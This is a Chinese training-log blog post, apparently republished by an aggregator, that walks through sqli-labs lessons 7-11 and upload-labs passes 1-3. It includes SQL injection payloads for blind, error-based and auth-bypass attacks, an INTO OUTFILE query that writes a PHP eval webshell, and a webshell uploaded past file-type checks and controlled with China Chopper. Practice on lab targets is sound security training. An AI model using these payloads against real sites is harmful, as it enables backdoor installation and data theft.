实训第三天记录-sqli-lab7-11+upload-lab1-3

Posted 黑曼巴、。;

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了实训第三天记录-sqli-lab7-11+upload-lab1-3相关的知识,希望对你有一定的参考价值。

一、sqli-labs: less7-11

  1. less8-GET-Blind-Boolian Based - Single Quotes

    1. 首先分别用id=1’和 id=1"进行测试

      输入1’和1"结果不同,显然是字符型,然后思考,按理说若闭合符错误应产生错误信息,但此处未显示,程序设计人员很可能把mysql的报错信息压制了,但是可以肯定当闭合符错误时不会产生任何信息。且猜测sql语句为:select xxx from xxx where id='1’

      当我们输入1’时,sql语句为select xxx from xxx where id=‘1’’,显然此时多了一个’,sql语句会报错,当我们输入1’%23(即#)时,sql语句为select xxx from xxx where id=‘1’#’,此时,后面的’被注释掉,不会报错,如下图,因此我们判断闭合符为’。注意当输入id=1"%23时依然能照常执行,此时sql语句为select xxx from xxx where id=‘1"#’,理解为闭合符优先级高于#,所以此时#不再当为注释符处理,而是普通字符。

    2. 接下来进行布尔盲注

      采用二分法爆破数据库名长度

      由此判断位数为8,接下来依次使用二分法爆破每一位的字母

      由此可得第一位字母ascii码为115(base10),为s,接下来利用相同的方法爆破其他位依次为ecurity

  2. less9-GET-Blind-Time Based -Single Quotes

    1. 首先用id=1’和id=1"进行测试,发现都会显示You are in…,故猜测要么为数字型,要么是由于程序设计原因无论sql语句正确与否都显示You are in…

    2. 利用sleep函数进行延时注入,首先判断参数类型和闭合符,发现id=1’时网页转了几秒后才返回,而id=1"时,网页立刻返回,这说明,id=1"时sql语句报错,故可以立即返回,而id=1’时,可以查询到结果,故3秒后返回。所以判断’为闭合符,道理同less8中相同

    3. 在b的基础上添加and条件爆破信息

      得出库名为8位

      得出第一个字母为s,其余位按照同样的方法爆破出ecurity

  3. less7-Dump into Outfile

    1. 首先修改my.ini文件

    2. 判断闭合符

      故判断闭合符为’))

    3. 利用联合查询注入小马

      ?id=1’)) union select 1,2,"<?php eval($_GET['cmd'])?>" into outfile ‘c:/phpstudy/www/shell.php’%23

      注意windows路径不区分大小写

      虽然语句报错,但可以发现shell.php确实成功写入

      木马执行成功

  4. less10-GET-Blind-Time Based -Double Quotes

    与less9思路相同,只不过闭合符由单引号变为了双引号,故不再赘述。猜测闭合符时若单双引号都不是,在引号后面加若干右括号进行测试

  5. less11-Error Based-String

    1. 在密码框中测试闭合符

      发现闭合符就是’

    2. 猜测和构造sql语句 select xxx from t_users where uname=‘xxx’ and pass='yyy’

      构造select xxx from t_users where uname=‘xxx’ and pass='yyy’or 1#'

      用户名随意输入,在密码框中输入**yyy’ or 1#**后结果为下图,可以看出显示了一条查询结果,但实际上后端查询结果是user表的所有记录,只是在前端只渲染了一条记录。那我们该如何获取所有记录呢?

      一种方法是通过limit m,n来限定查询结果从而获得每一条记录,如下图,输入**yyy’ or 1 limit 1,1#**后结果为

二、upload-labs1-3

  1. pass-01(前端js验证文件后缀名)

    1. 首先尝试上传shell.php,内容为:

      <?php 
      	echo "I've got a shell";
      	eval($_REQUEST
      	['cmd']);
      ?>
      

      发现不允许上传

    2. 通过burpsuite拦截改包,将jpg改为php,然后将拦截放开,可以看到木马上传成功

    3. 利用中国菜刀控制被攻击机

      添加木马url

      可以看到已经可以进入被攻击机

    4. 在桌面上新建以自己姓名学号命名的文件,进入桌面路径,在空白区域右击新建文件即可

      可以看到已经新建了一个文件,将其名字进行修改即可

    5. 查看靶机ip

      右击进入虚拟终端执行ipconfig命令

  2. pass-02(限制content-type)

    1. 查看php源码,发现只允许上传三种类型的文件

    2. 上传shell.php,内容为:

      <?php 
      	echo "I've got a shell";
      	eval($_REQUEST
      	['cmd']);
      ?>
      

      利用burpsuite抓包改包,将content-type改为image/png

      此时可发现小马已上传成功

  3. pass-03

    1. 查看源码可知,该文件上传验证为后端黑名单过滤,故考虑绕过黑名单

    2. 查看apache的配置文件httpd.conf,发现除了php后缀名,还可以上传phtml后缀名的文件,要把前面的#删除,并重启服务

    3. 尝试上传shell.phtml,上传成功

以上是关于实训第三天记录-sqli-lab7-11+upload-lab1-3的主要内容,如果未能解决你的问题,请参考以下文章

实训第三天

javaweb实训第三天上午——Servlet

javaweb实训第三天下午——Web基础-Servlet交互&JSP原理及运用

项目实训第一周第一次

项目实训第一周第一次

项目实训第一周第二次